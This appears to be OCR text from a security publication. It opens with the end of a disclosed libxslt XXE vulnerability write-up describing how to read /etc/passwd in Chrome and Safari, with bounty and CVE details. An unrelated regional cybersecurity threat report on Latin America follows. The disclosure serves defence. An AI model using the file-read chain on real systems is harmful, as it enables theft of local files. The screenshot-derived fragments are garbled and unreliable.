PEr

SR S SO PP

According to my tests, calling libxml_set_external_en-
tity_loader(function (Sa) {}); is sufficient to prevent the attack.



POCS

You will find all the POCs in a ZIP archive at the end
of this section. Note that these are not zero-day POCs; details
on reporting to the vendor and bounty information will be also
provided later.

First, | created a simple HTML page with multiple
<iframe> elements to test all possible file read functionalities
and all possible ways to chain them:

« & @ localhost/temp/

Classic xxe: [w ] Elements Console Sources  Nebwc
[Classic_XXE /etc/passwd: Bl & | tpr | & | Fite
[ W

attempt To 1o
Local t

XSL file xxe: O Uniafe attesst to load URL #1ie
[XSL_XXE /etc/passwd: S o e

XSL file + documet() xxe:
[(XSL_DOCUMENT_XXE /etc/passwd:
root:x:0:0:root:/root:/bin/bash

!danmun:x: 1:1:daemon:/usr/shinz/usr/'shin/nol

himev=TFhin-hin: fnerichin/anlaain

¥k
XSL file + <xskimport> xxe:
[XSL_IMPORT_XXE /etc/passwd:

XSL file + <xsl:include> xxe:
IXSL_INCLUDE_XXE fﬂc!pnsswd:

Open this page in Chrome, Safari, or Electron-like apps.
It may read system files with default sandbox settings; without
the sandbox, it may read arbitrary files with the current user's
rights.

As you can see now, only one of the call chains leads
to an XXE in Chrome, and we were very fortunate to find
it. Here is my schematic of the chain for better understanding:

— 0O X

X5L file |

document( !




Next, | created minified XML, SVG, and HTML POCs
that you can copy directly from the article Q

ZIP archive for testing: libxslt.zip. Safari @)

THE BOUNTY

All findings were immediately reported to the vendors.

— 0O X

Libxslt arbitrary file reading using >
document() method and external...

Congratulations! Your report gualifies...
$25,000 CVE-2023-40415 In Beta

OE194512960524 Awarded @

Safari

Apple implemented the sandbox patch. Assigned CVE:
CVE-2023-40415. Reward: $25,000.

Chrome

Google implemented the patch and enforced secu-
rity for documents loaded by the XSL's document() function.
Assigned CVE: CVE-2023-4357. Reward: $3,000.

LINKS

> https://cve.mitre.org/cgi-bin/cvename.
cgi?name=CVE-2023-40415 @

> https://cve.mitre.org/cgi-bin/cvename.
cgi?name=CVE-2023-4357 @

> https://issues.chromium.org/issues/40066577 @
Feel free to write your thoughts about the article on our

X page @. Follow @ptswarm @ so you don't miss our future
research and other publications.
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INTRODUCTION

The digital transformation sweeping the world has
not passed Latin America and the Caribbean. However,
as governments, companies, and individuals in the region
increasingly use digital tools, the risk of cyberattacks is also
rising.

In this report we will analyze the state of cybersecurity
in Latin America and the Caribbean. Special attention
will be given to the largest countries: Brazil, Mexico, and
Argentina, which play a key role in the region’s economic and
technological development and which, importantly for this
study, are the most exposed to cyberattacks. The purpose of
thisreportis to identify key threats and offer recommendations
to strengthen the region’s digital security.

KEY FIGURES AND CONCLUSIONS

> In recent vyears, Latin American countries have
undergone rapid digital transformation, affecting all
aspects of citizens' lives and every economic sector.
The result of this transformation was the increased risk
of cyberthreats, for which the region was not prepared.

> Latin America accounted for 12% of the total number of
attacks @) worldwide in 2022. The attackers primarily
targeted organizations and individuals in Brazil, Mexico,
and Argentina — in total, the share of attacks on these
three countries was 44%.

> The majority of successful attacks on organizations
targeted government agencies (31%), industrial
enterprises (11%), financial institutions (9%). and retail
companies (9%).

> Ransomware attacks are the most serious threat
to organizations and states in Latin America. More than
half of all successful attacks (52%) resulted in disruption
of company operations: suspension of business
processes, and loss of access to infrastructure or data.
This is higher than the global average, which is directly
related to the activities of cryptographers. In addition,
the peculiarity of extortionist attacks in the region
is their targeting of state institutions: the proportion
of damaged state institutions (31%) is 2.2 times higher
than the global figure for the same period.

> In 61% of cases, successful attacks on organizations
led to leaks of confidential information. In this case,
the main motive of the attackers is probably a desire
for financial gain: most likely, stolen information (mostly
personal and accounting data) is used for sale in
shadow markets, for further attacks and for extortion
purposes.

> On shadow forums, criminals actively trade and
exchange stolen data, hacking services, and access
to the networks of Latin American organizations. More
than half of the listings (53%) that specify a particular



country in the region mention Brazil, Argentina,
or Mexico. Most commonly sold on the dark web is access
to the networks of financial institutions, government
agencies, IT companies, industrial enterprises, and
service organizations.

> The high level of penetration of mobile Internet, mobile
devices and electronic payments in the region has led
to an increase in attacks on citizens’ mobile devices.
In attacks against individuals, malware is used more
often than in any other region: 78% of attacks are
committed using malware, mainly spyware (40%)
and banking trojans (32%). Coupled with low levels
of cyber literacy, people can easily become victims of
intruders.

> Latin American states should strengthen regional
cooperation to combat cybercrime and, where
possible, harmonize information security legislation,
drawing on the experience and best practices of deve-
loped countries.

> Recommendations to improve cybersecurity at the
state level also include developing national cyberse-
curity strategies, improving the interaction of organi-
zations and national cyberincident response centers,
supporting educational programs in the field of infor-
mation security, and the development of international
cooperation and data exchange.

> Recommendations to ensure the cyber-resilience
of organizations include defining non-tolerable events
and protecting critical assets, monitoring and responding
to cyberthreats with advanced security tools, evaluating
the efficacy of implemented measures, and training
employees.

DIGITALIZATION AND
CYBERSECURITY ISSUES

Development of digital technologies in the region

Latin America and the Caribbean is a region with
diverse economies, each with unique historical, cultural and
geographical characteristics. Some countries, such as Brazil
and Mexico, have strong economic growth and industrial
sectors. At the same time, other countries, especially the
small states of Central America and the Caribbean, are facing
economic difficulties and are more dependent on tourism
and agriculture. The region's combined GDP accounts for 6%
of global GDP @. highlighting its importance in the global
economic context.

The development of the digital economy is a key enabler
of furthereconomic growth. The transition to a digital economy
improves economic performance, increases productivity
and generates new jobs — a critical issue for a region
characterized by relatively high levels of unemployment and
social inequality. Although the region has traditionally lagged
behind in the digitalization of the more advanced economies,

Latin American countries have been active in recent years
in introducing and developing digital technologies and
services. This is particularly evident in the areas of public
services, financial technology, medicine and retail trade.

The internet penetration rate @ in the region as of the
beginning of 2023 is estimated at 75%, surpassing the global
average of 65%. In Brazil, this rate is 84%; in Argentina, 87%; and
in Mexico, 77%.
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Figure 1. Internet penetration rate

Figure 2. Maturity level
of government services

according to the World Bank

GovTech Maturity Index

South America
Central America
Carribean Basin

Global average

The digitalization of the region is accompanied not only
by increased access to the Internet, but also by increased
integration of new technologies into the daily lives of citizens —
from mobile applications for banking and online shopping
to smart home systems. About 66% of the adult population
makes purchases online, and in Argentina, Brazil, Chile, and
Colombia, this percentage exceeds 80%. E-commerce @) is
growing in the region: experts estimate @ that the volume
of transactions will increase by 27% in 2023, reaching $509
billion.

Many countries, such as Brazil, Argentina, Chile,
Colombia and Mexico, have established national programmes
to stimulate the digital economy. These strategies are aimed
at integrating new technologies in all industries, especially
optimizing public services, e-commerce and digital payments.
According to various assessments, such as the E-Government
Development Index @ and the GovTech Maturity Index
(GTM), most countries’ government services in the region
have high or very high levels of digital development @.
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Cybersecurity issues

Despite strong technological development,
many countries do not yet have sufficient legislative
and infrastructural frameworks to address cybercrime.
Cybersecurity issues have become particularly relevant for
Latin America, as lack of clear standards and regulations,
lack of skilled professionals, lack of a culture of information
security among users, as well as limited resources for
investment in security technologies, lead to the region being
vulnerable to cyberthreats.

According to experts' estimates, the damage from
cyberattacks to countries in the region amounts to about
1% of GDP, and if critical infrastructure is affected, it can
become as much as 6%. In a Fortinet study, @) 31% of Latin
American organizations reported that the consequences of
cyberattacks cost them more than $1 million.

Scores from the Global Cybersecurity Index 2020 @
report show that Latin America has the lowest level of
cybersecurity compared to other regions.

Only 10 out of the 33 countries in Latin America have
a cybersecurity index above the world average, with
Brazil (96.60) and Mexico (81.68) boasting the highest. In
most states, the problem is a lack of resources. Obviously,
richer countries can invest more in infrastructure and
cybersecurity.

North America

Europe

CIs

Middle East
and North America

World average

Asia-Pacific region

Africa

Latin America —

98.84%
82,52%
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The region faces many obstacles to cyber-resilience.
First, there is a lack of funding. According to the Organization
for Economic Cooperation and Development, most enterp-
rises in the region (99%) are small and medium — sized
enterprises that form the backbone of the economy. Such
companies may not have sufficient resources to protect their
assets and hire qualified cybersecurity staff, leaving them
vulnerable to new threats. According to the ESET Security
Report, {®) 65% of specialists believe that their organizations
need to invest more in cybersecurity.

There is also a shortage of skilled cybersecurity profes-
sionalsin the region. ISC2 @) estimates that in 2022, there was
a shortage of 516,000 personnel in Mexico and Brazil alone.
Conversely, 94% of organizations @) plan to increase their
cybersecurity workforce. Countries face attrition due to low
wages relative to other regions — many professionals from
Latin America prefer to move to North America or Europe
in search of career and educational opportunities. Accor-
ding to the e-Governance Academy @. only 12 countries
in the region offer bachelor's programs in information security,
while 15 countries have dedicated master's programs.




There are also political problems. The approach to cyber-
security remains largely reactive @): actions are taken
only in response to incidents that have already occurred.
This approach may overlook new emerging threats. The
attitude towards security in legislation also lacks a sense
of responsibility. For example, not all countries in the
region have adopted national cybersecurity strategies. In
November 2022, a digital development plan @9 for Latin
American and Caribbean countries was published, aiming
for the implementation of national cybersecurity strategies
for 20 of the region’s 33 countries by 2024. The security
of critical infrastructure is also addressed only in the poli-
cies of some states. Latin American countries do not have
uniform cybersecurity or data protection legislation. Indi-
vidual initiatives to harmonize laws with best practices are
emerging: for example, Brazil and Argentina have updated
their personal data protection legislation along the lines of
the European GDPR. However, the legal requirements vary
from country to country in the region, which may create
additional challenges in cross-border data transfer and in
combating cybercrime. Some Latin American countries,
such as Brazil, Argentina, Chile, Colombia, and Costa Rica
have signed the Budapest Convention on Cybercrime,
however, at the regional level, the process of unifying legis-
lation and cooperation in countering cyber-threats has
been very slow so far.

There are national cyberincident response teams
in 24 countries in the region. But even in countries where
procedures for reporting cyberincidents and interacting
with CERTs or CSIRTs are in place, cybersecurity
professionals are not always familiar with these processes.
The LATAM CISO 2023 Cybersecurity Report @@ notes
that although the majority of respondents understand the
procedure for interacting with CERTSs, 32% stated they don't
know where and how to report a cyberincident. In addition,
35% of respondents express a low degree of confidence in
national CERTSs.

TARGETS AND CONSEQUENCES
OF CYBERATTACKS

Latin American countries accounted for 12% of the total
number of attacks in 2022, according to an IBM report ).
There is a clear correlation between the size of the economy,
the development of digital technology in a country, and the
number of attacks. The primary targets were organizations
and individuals in Brazil (22% of all attacks in the region),
Mexico (12%), Argentina (10%), Costa Rica (9%), Colombia
(9%). and Chile (8%).
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Figure 5. Distribution of successful
attacks by country in the region E] X
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According to a survey in the LATAM CISO 2023
Cybersecurity Report, @) 71% of cybersecurity leaders
noted that the number of attacks on their organizations
had increased over the last year, while only 8% reported
a decrease. In the ESET survey, () 69% of respondents said
they had encountered a security incident in the last year. The
Fortinet study €0 reports that 58% of respondents expect
an increase in the number of attacks in the near future.

From the beginning of 2022 until the end of the first half
of 2023, the majority of successful attacks on organizations
in the region were those that targeted government agencies
(31%). industrial enterprises (11%), financial institutions (9%),
and retail (9%).

Figure 6. Categories of victim
organizations State agencies
Others

Production and enterprise
Without reference to industry
Financial institutions

Trade

Science and education

Medical institutions

g




State agencies

Trade

Production and Enterprise
Transport

Science and education

State agencies

Financial institutions
Trade

Production and Enterprise

Science and education

State agencies
Production and enterprise
Trade

Medical institutions

Telecom

State agencies

Transport

Production and enterprise
Medical institutions

Science and education

State agencies
Production and enterprise
Medical institutions
Science and education

Financial institutions

Individuals as a category accounted for13% of successful
attacks in the region, slightly below the global average (17%),
but if you look at countries like Mexico and Brazil, the share

Brazil

|

Mexico

|

Argentina

Costa Rica

I

Colombia

is higher — 23% and 20%, respectively.

Successful attacks on organizations mainly led to the
leaking of confidential information (61%) and disruption of
activities (52%). Moreover, such consequences of attacks
were more frequent than the global average. This is due to the

high activity of operators of encryptors in the region.
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Figure 7. Top 5 victim categories
by country
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The main motive of the attackers is probably to
seek financial gain. There are many data theft attacks,
but the attackers are not interested in the stolen
information itself (mostly personal and credentials):
they most likely use it for sale on the dark web, for
further attacks and for extortion purposes. This
is confirmed by the high proportion of software extortion;
63% of the total number of attacks on organizations.

The most high-profile incident in the region over
the past two years was an unprecedented series of
ransomware @) attacks on government organizations in
Costa Rica, affecting the IT systems of 27 institutions. Due to
the unavailability of a significant portion of the country’s IT
infrastructure, a state of emergency @ was declared. In just
the first 48 hours of the attack, the criminals caused damage
amounting to $125 million €8, and the process of restoring
Costa Rica’s infrastructure lasted several months.

Government agencies

State institutions were most often the victims of
attacks. They are of interest to cybercriminals for a number
of reasons. State institutions maintain extensive databases,
including citizens' personal data, national security information,
economic data and many others. This information can be used
for extortion, espionage, or sold on the shadow market.

State systems are undergoing a process of
digitalization and more services are provided online, but
these technologies are immediately targeted by hackers. For
example, as soon as the Jamaican government introduced an
electronic system for completing customs and immigration
forms, it was hacked @ — the perpetrators demanded $35
million from unsuspecting users for access to the system.

On the other hand, some government agencies in
the region use outdated or insufficiently secure information
systems, making them easy targets for cyberattacks.
Inadequate funding and lack of training of cybersecurity
personnel can also play a role. For example, in September




2022, the Guacamaya group penetrated @ the servers of
state structures in Mexico, Chile, Peru, Colombia, and El
Salvador through the ProxyShell vulnerability in the Exchange
service. An official security update was released in early 2021,
but the compromised organizations did not install this patch.
In the case of the attack on the Ministry of Defense of Mexico,
the attackers exploited vulnerabilities in the free mail server
Zimbra — presumably this software was used as part of the
economic policy due to budget cuts €.

Cyberattacks can be an instrument of political pressure,
destabilization or a demonstration of power. They can also
be used to interfere in elections or other state processes.
Some groups may attack state institutions to promote
their ideological beliefs. For example, the abovementioned
Guacamaya is a group of hacktivists acting (according to their
own claims) in support of environmental protection in South
America. Cybercriminals steal and publish government and
industrial data. During its existence (since 2022) hacktivists
have published more than 20 TB of stolen data.

Industrial and energy companies

Production and the energy industry, in particular oil,
are important for the economic growth and development
of Latin America. Disruptions in the industrial and energy
sectors can have cascading effects, leading to economic and
social problems. In 58% of cases, successful attacks caused
disruption of the IT-infrastructure of industrial enterprises.

Production organizations may possess valuable intel-
lectual property. The attackers were able to steal data in 77%
of successful attacks, and in approximately half of the cases,
the stolen information contained information constituting
a commercial secret. Guacamaya was particularly active
in this regard: in 2022, the group published @) over 2 TB of
information stolen from mining companies in Central and
South America.

Approximately 6% of all dark web announcements
related to the region involve selling access to the networks
of companies in the manufacturing and energy sectors.
On average, the cost of such access is $600-800, but
depends on the size of the company and the level of privileges.
For example, access to an energy company in Argentina
is sold for $1,700.
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Finance

The financial sector remains a major target for
cybercriminals in Latin America, mainly due to the large-
scale digital transformation of the industry and the potential
benefits for cybercriminals. Nevertheless, financial institutions
are relatively well protected: there have been no high-profile
attacks over the past two years that have led to significant
disruptions of service or the theft of large sums of money. The
criminals were mainly interested in confidential data and the
possibility of obtaining a ransom: in 70% of successful attacks,
the attackers stole confidential information about clients
of financial organizations.

Ransomware was used in 45% of attacks, most
commonly from the LockBit and BlackCat families. For
example, in October 2022, a ransomware group attacked €
a bankin Brazil using LockBit malware and asked for a ransom
of 50 bitcoins, which were trading at about $1 million at the
time. The attack led to data leaks and temporary disruptions
to client services.

In 2023, ATM malware called FiXS ) started spreading
in Latin America, particularly in Mexico. This malware allows
criminals to withdraw cash from ATMs. While the number
of ATM attacks had been steadily decreasing in recent years,
nevertheless at the beginning of 2023 there was again a surge
of such attacks.

Moreover, attackers are not only targeting banks but
also their users, especially clients of Brazilian banks using
the popular instant payment system PIX. ) Several banking
Trojans have emerged specifically to attack this system. In
general, with the development of electronic payments and
digital banks it should be expected to see further increases
in the number of threats to users who are careless about their
own security and thus easier fall victim to phishing attacks.
Therefore, banks should pay more attention to protecting
their applications, as well as improving cyberliteracy among
customers.

Retail

Among attacks directed at organizations, 9% were in
retail. These were mainly companies from the largest
countries in the region: Brazil, Argentina, and Mexico; for
example, Mercado Libre @), Fast Shop €. and Rede

Top €.

IT systems of such companies handle and store a huge
amount of data about users — this information is of interest
to intruders. In addition, various payment systems are
connected to online shops, which opens the possibility
of stealing money and intercepting bank card data. In the
period under review, 68% of successful attacks resulted
in data leaks; mostly in the form of personal data of
customers.

Ransomware is the main threat to retail: it was used in
84% of successful attacks. At the same time, online platforms
are highly sensitive to disruptions; a day of downtime could
cost a company millions of dollars. For example, the Brazilian
conglomerate Americanas.com reported a loss of $184 @)



million due to cyberattacks that halted online sales for several
days. Overall, 58% of successful attacks disrupted companies’
operations.

E-commerce is one of the fastest-growing sectors in
Latin America, with retail accounting for a significant portion
(53%). Forecasts predict €9 an average annual growth rate in
online retail of 21% from 2023 to 2026, with a corresponding
increase in attacks on this sector.

MAIN THREATS

Attacks on organizations mainly involve the compro-
mising of computers, servers and network equipment (87%).
Successful attacks on web resources accounted for 15%,
among which 54% of incidents were related to exploitation of
known vulnerabilities and those that were publicly available.

More than a third of attacks against individuals (34%)
occur on mobile devices; the figure is higher than the global
average (22%) and close to the values for Asian countries
(37%). The popularity of this attack vector is due to the high
level of mobile Internet penetration and the use of mobile
devices in the region. The 2023 Latin America E-commerce
Blueprint € report notes that in 2023, 70% of online
purchases and other payments were made through
smartphones, a figure that grows annually. What's more, the
number of mobile device users is increasing each year and is
expected to reach 74% of the population €) by 2025.
Consequently, the number of attacks on mobile devices is set
to also rise.
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Figure 10. Attack targets
(percentage of attacks)

Figure 11. Attack methods
(percentage of attacks)
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Figure 12. Types of malware
(percentage of successful malware
attacks)

Figure 13. Malware distribution
methods in successful attacks
on organizations

In every second successful attack directed at
organizations, social engineering (53%) is used. Exploitation of
vulnerabilities is recorded in 27% of cases, and compromise of
accounting data in 19% of attacks. Malware is approximately
equally used in attacks targeting organizations (80%) and
attacks against individuals (78%).

Malware

Latin American countries have the highest percentage
of encryptors used in attacks against organizations (79%)
compared to the global average (53%).
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In attacks against individuals, malware is used more
often than in any other region: 78% of attacks are committed
using malware, mainly spyware (40%) and banking trojans
(32%). Factors contributing to this include the widespread
use of pirated versions of software, the use of unverified VPN
software to access blocked resources, and a general low level
of information security knowledge.

The primary methods for spreading malware in
organizations are through email (54%) and the compromise of
computers and servers (35%). Malware reaches individuals’
devices when users visit infected websites (55%) or open
attachments and links in emails (29%). Official app stores can
also become a source of infection when attackers manage
to bypass security systems and pass off their programs as
legitimate.
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Figure 14. Malware distribution
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Ransomware attacks

While the world in general is seeing a downward trend
in ransomware attacks, this threat is growing in Latin America.
According to the IBM X-Force Threat Intelligence Index, the
number of incidents related to ransomware in Latin America
increased by 3% in 2022. Moreover, the criminals’ methods
are evolving; the average attack duration has decreased from
two months to four days. If we compare the first halves of 2022
and 2023, the growth in ransomware attacks in the region
remains at the same level, 3%.

Almost a third of cryptographers’ attacks (31%) were
directed at state institutions. This proportion is significantly
higher than in the rest of the regions and is 2.2 times higher
than the global rate of 14%. Industry, retail, medical and
educational institutions are also among the top 5 categories
of the victims of extortion.
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Companies are still not fully prepared to deal with the
consequences of ransomware attacks on their own. For
example, in a survey @) conducted by Veeam Software
in Latin American countries, 58% of respondents said their
organization paid the ransom and managed to recover the
data, while 14% paid the ransom but couldn't retrieve the
data. Only 21% of respondents said they didn’t pay the ransom
because they were able to recover data from backups.
According to Veeam, in 77% of cases, organizations paid the
ransom with insurance, but recently the terms of cyber risk
insurance began to change: insurance companies began
to increase the amount of franchise and insurance premiums.
Some insurance companies now completely exclude
cryptographers from coverage; 20% of respondents say so.




Possibly due to the large number of organizations falling
victim to ransomware attacks and other threats directly
impacting data, the most common security technology
in corporate networks has become backup systems, used
by 88% of organizations. €) However, according to another
study, the Thales Data Threat Report, @ only 60% of
respondents said their organization has a response plan in
case of a ransomware attack (which is already a significant
improvement compared to 2021, when only 42% of
respondents reported having such a plan).

There are many ransomware groups in the region, the
most active of which in the past two years have been:

> LockBit

In South America, both government and private
organizations have been victims of the LockBit extortion
ring since 2019. Not all attacks were carried out by the group
itself: LockBit distributes the same-name malware under the
ransomware as a service (RaaS) model.

> BlackCat (ALPHV, UNC4466, Noberus)

BlackCat has been active since 2021. Cybercriminals
attack both private and government organizations in South
America and around the world.

> ClOp

The CIOp extortion ring was discovered in 2019.
Intruders are attacking a wide range of industries around
the world, but in South America extortionists are targeting
universities and financial institutions in Mexico, Colombia,
and Puerto Rico.

> BlackByte

The BlackByte ransomware group was first spotted in
2019. Cybercriminals operate all over the world, and in Latin
America they have attacked industrial and state organizations
in Mexico, Argentina, and Peru. Like LockBit, it distributes its
encryptor on the RaaS model.

> Rhysida

The Rhysida cybercriminal group appeared in May
2023. Cybercriminals disguise themselves as a cybersecu-
rity team trying to help victims. In South America, Rhysida
targeted government and medical organizations. In May
2023, the group attacked the IT infrastructure of the Chilean
Army, which led to significant disruption of systems and
leaking of confidential information.

> Conti

The Conti ransomware group conducted attacks
on private and governmental organizations worldwide. In
April 2022, the attackers launched a campaign aimed at
Costa Rican government agencies. A series of cyber attacks
resulted in the shutdown of many government systems for
almost a month, the leaking of 672 GB of data, and the intro-
duction of a national emergency. But by the end of June
2022, the Conti Group had closed its sites and ceased to
exist, supposedly dividing into a few smaller organizations.

Development of shadow markets

On the dark web intruders trade and exchange access
to the networks of organizations, stolen data, and tools and
services for carrying out attacks. Interest in Latin American
organizations is growing: the number of dark web messages
from the region has already exceeded 32% in the three
quarters of 2023 what it was for the whole of 2022. More than
half of the announcements (53%) indicating a specific country
in the region concerned Brazil, Argentina, or Mexico.
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Most of the messages on the dark web (70%) contain
announcements about selling or buying access to the
infrastructure of organizations. 22% of advertisements are
related to the purchase, sale or distribution of databases with
confidential information. News about hacking accounts for
about 6% of the messages.
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Most often, access to networks of financial sector
organizations, public institutions, IT companies, industrial
enterprises and service organizations is sold on the dark
web. Databases sold on forums or distributed free of charge
typically contain information leaked from government
agencies, telecommunications companies, online stores, and
financial institutions.
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Figure 18. Distribution

of advertisements by topic
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Figure 19. Average cost of access
to an organization’s network on

the dark web ($)
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The cost of access depends on several factors: the
characteristics of the organization itself, such as the scope
of activities and annual income, and the type of access
offered and the level of privileges of the account. The average
cost is around $600. The most expensive type of access
is account credentials for entering the infrastructure
of financial organizations: access to a bank is offered
at an average of $1,400, and the maximum price reaches
$18,000.
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Social engineering

Social engineering attacks are a major threat to the
region, both to organizations and individuals. For example,
cryptographers have infiltrated corporate networks via email in
53% of successful attacks. The KPMG Fraud Outlook @)
report found that 32% of Latin American respondents saw an
increase in attempted phishing attacks in 2022, while the




LATAM CISO Report: Cybersecurity Insights From Industry
Leaders @ notes that 88% of cybersecurity leaders consider
various forms of social engineering to be the primary threat to
companies.

Research conducted by KnowBe4 shows that the level
of awareness of employees in Latin American organizations
is lower than in other regions: 41% of users cannot recognize
phishing attacks. That is, four out of ten employees can
download and run an attachment from a phishing letter,
go to a malicious link, or pass credentials to intruders. In the
remaining regions, the rate is less than 35%.
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Individuals are subject to social engineering attacks via
social networks and messengers, email, but most often when
visiting phishing or compromised sites (58%). Most phishing
sites are observed in the Brazilian segment. According to
SocRadar, @B) over 2600 potential phishing domains were
registered from October 2022 to October 2023, aiming to
spoof the websites of Brazilian organizations. The Brazilian
Public Security Yearbook @ reported a 66% increase in
online fraud cases in 2022. In the rest of the region, the threat
is also present: during the same period, about 1,000 phis-
hing domains were registered in Colombia, more than 800
in Argentina, and more than 500 in Mexico and Peru. Cyber-
criminals imitate websites of crypto-currency exchanges,
financial institutions, and public services.

In May 2023, researchers identified a large-scale
phishing campaign @B targeting individuals and organizations
in Mexico. The attackers sent emails with an attachment
mimicking a CFDI @ tax receipt format commonly used in
Mexico. When opening an attachment on the user's device,
malicious software capable of intercepting credentials for
access to bank accounts was loaded. Experts believe that
this campaign began in 2021, and in the past two years, the
attackers have deceived more than 4,000 victims, which is
worth more than $55 million.




Banking trojans

Banking trojans pose a significant threat to individuals
in Latin America, constituting 32% of all detected malware
used. The region is seeing the spread of numerous
banking trojans like BBTok, GoatRAT, PixBankBot, @) and
Grandoreiro @. Brazil and Mexico are particularly prone to
attack; these countries are probably of greater interest to
intruders due to population size and the widespread use of
online banking.

In September 2023, the BBTok banking trojan began
spreadingin Latin America, targeting residents of Mexico and
Brazil. It mimics interfaces of over 40 Mexican and Brazilian
banks, including Citibank, Scotibank, Banco Itau, and HSBC.
This allows intruders to deceive the user, i.e. it forces them
to enter a two-factor authentication code to access the
bank account and thus to seize control over the account. In
addition, malware can steal payment card numbers.

In Brazil, attacks have recently targeted PIX instant
payment systems. For example, the GoatRAT trojan (B
targets users of three Brazilian banks: Nubank, Banco Inter,
and PagBank. This trojan intercepts the PIX key necessary
for money transfers and steals funds from the victim's bank
account.

Data leaks

According to IBM, @) the average cost of damage
from information leaks in Latin American countries increased
by 32% over the year and amounted to $3.69 million by the
beginning of 2023. The majority of attacks resulting in data
leaks occurred in the government sector (27%), followed by
manufacturing industry (15%), financial sector (10%), retail
(10%). and education (7%).
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In attacks on organizations, the criminals primarily stole
personal data (40% of the total volume of stolen information)
and information containing trade secrets (21%). Most often,
the personal data of citizens was leaked from the systems
of state institutions, financial, and educational organizations.
Corporate leaks were mainly due to extortion attacks
demanding ransom for withholding stolen information.
Attacks on individuals resulted in the theft of accounting and
personal data (38% and 25%, respectively) and payment card
data (25%).
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Attackers may sell compromised data on the dark web
or make it publicly available. For example, data from the
Argentine hospital Garrahan, hit by a cyberattack @) in 2022,
was put up for sale on the dark web for $1,500.

. Tarpets M —
Countiy: AR

Price: 1.5K

“ The Hotpital Garrahan is the moit impartant and complex Children's Medical Center in Argentina.
Funded by the National State and the City of Buenos Adres, it is alffiliated to the School of Medicine,
Uniweruty of Busasd Aitet, ipetislited in the mansgement of complen padistns divesisi

Among the databases found on the dark web, 28% were
stolen from government agencies, 20% from IT companies,
and 8% from financial organizations.
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CONCLUSION AND
RECOMMENDATIONS

In recent years, Latin American countries have expe-
rienced a number of attacks that impacted the functioning
of critical sectors and even an entire state. The region
turned out to be highly unprepared for cyberthreats due
to economic and social factors, as well as the rapid adop-
tion of digital technologies without ensuring the neces-
sary protection. We believe that cooperation between
countries, investment in security, political support for
changes, and improving education are crucial steps to take.
We propose a number of measures to enhance cybersecu-
rity for individual organizations, sectors, and the entire region.

Recommendations for governments
Adopting information security strategies at a national level

Only a few Latin American countries have adopted
national cybersecurity strategies. While the adoption of
a strategy by itself does not guarantee enhanced security,
these documents set the direction of development and
highlight the importance of cybersecurity at the state level.
National cybersecurity policies and strategies need to be
developed, implemented and updated in a timely manner,
involving a wide range of stakeholders. The strategy
development process should have the necessary budget and
political support to ensure effective coordination and clear
allocation of responsibilities.

A national cybersecurity strategy should include
a threat assessment, with clearly defined goals and targets to
achieve them. Representatives of government organizations,
business, and the cybersecurity sector should be involved in
the development of the strategy. Draft strategies should be
subject to public debate.
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Harmonizing legislation for cybersecurity and personal data
protection

It is desirable to consider the possibility of unifying
cybersecurity standards among the countries of the region
for more effective interaction between states, and to consider
common mechanisms for international cooperation and the
exchange of information on international cyberthreats.

Cybersecurity and data protection legislation should
be regularly updated to meet current cyberthreats and
to keep pace with technological developments. Legislation
should facilitate effective coordination between different law
enforcement and security agencies.

Protecting critical information infrastructure

States must identify non-tolerable events at the industry
and national levels. Such an approach would allow for the
efficient allocation of resources to ensure the protection
of critical systems. The first thing to consider is the
infrastructure of sectors such as state-owned enterprises,
industry, the financial sector, as well as other sectors critical
to the economy and national security, such as e-commerce,
and agriculture. It is necessary to consider the speed of
digital transformation in the country and the level of maturity
of information security.

Creating national and industry cyberincident response
centers and improving mechanisms for cooperating with
organizations

National cyberincident response teams are responsible
for monitoring threats and helping organizations recover
from serious cyberattacks. The creation of such structures
should be a priority when implementing a national security
and critical infrastructure security strategy. In 2023, only
24 countries in the region had national CERTs/CSIRTs.
Countries that already have such structures should establish
industry CERTSs and collaborate to support the establishment
of regional response centers. It should also be borne in mind

that incident notification mechanisms may not be sufficiently
clear to security professionals. It is necessary to develop
clear and transparent mechanisms for the notification
of cyberincidents occurring in organizations, to make efforts to
increase confidence in national CERTs and to foster interaction
with state structures. Improved information-sharing among
organizations and cybersecurity centers can help prevent
attacks and respond to new threats in a timely manner.

Responding to cyberthreats must be integrated into
an overall strategy to protect and rebuild critical national
infrastructure.

Raising awareness and promoting education in cyber-
security matters

States should invest in public awareness and protection
campaigns. There is a shortage of qualified cybersecurity
specialists in the region, as well as in the world, so the
popularization of this field and related professions, and the
development of educational programs institutions of learning
should be a priority for the state.

Cooperating internationally

Cybercrime had long transcended the borders of
one state, and therefore it has been essential for countries
to cooperate with each other in combating cyberthreats.
By sharing information, resources and expertise, countries can
collectively strengthen their protective measures and reduce
the risks posed by cybercriminals from different jurisdictions.
National cybersecurity strategies should include objectives
for the development of international information security
relations.

Recommendations for businesses

Identifiying non-tolerable events and critical assets

In order to ensure cyber resilience, companies first need
to conduct a major risk analysis and identify non-tolerable
events that can cause significant harm to their operations.
This step will identify critical assets and focus on protecting
the most valuable assets. Strategies should be developed
to prevent non-tolerable events, including the necessary
security measures and monitoring of network activity using
modern security features.

Monitoring incidents and responding to cyberthreats

Incident monitoring and detection systems are needed
to respond to potential threats and attacks in a timely manner.
To this end, it is recommended to use SIEM systems that
collect and analyze security event information from different
sources in real time. When used in conjunction with XDR
solutions that provide centralized threat detection and
response, as well as NTA solutions that analyze network traffic,



the ability to detect attacks early and provide rapid response
to threats is enhanced, reducing risks to the organization.

Evaluating cybersecurity effectiveness

The effectiveness of the cybersecurity measures
adopted should be tested regularly to assess the benefits
of the strategy and security tools. It is recommended that
particular attention be paid to verification of events that are
non-tolerable for the organization.

In addition, it is worth considering using bug bounty
programs that attract external security researchers to find new
vulnerabilities. Such programs will help to detect and eliminate
vulnerabilities before they are used by intruders.

Training employees and developing information security
specialists

It is important to train staff in the basics of cybersecurity
and to conduct training to raise awareness of current threats
and strengthen social engineering protection skills.

To effectively combat cyberthreats, organizations
should invest in the development of their cybersecurity
specialists. Regular training and certification of employees
in the field of cybersecurity will help to improve their know-
ledge and skills, as well as to provide companies with expert
support in preventing and responding to cyberattacks. One of
the most effective ways of training is to participate in cyber
exercises on specialized sites where information security
specialists can learn the skills of recognizing and countera-
cting attack techniques.

METHODOLOGY

The data and findings presented in this report are based
on Positive Technologies’ own expertise, as well as analysis
of publicly available resources, including government and
international publications, research papers, and industry
reports.

> In our estimation, most cyberattacks are not made
public because of reputational risks. Therefore, it is
not possible to calculate the exact number of threats,
even for organizations involved in investigating inci-
dents and analyzing the activities of hacker groups. Our
research aims to draw the attention of organizations
and ordinary citizens interested in the current state of
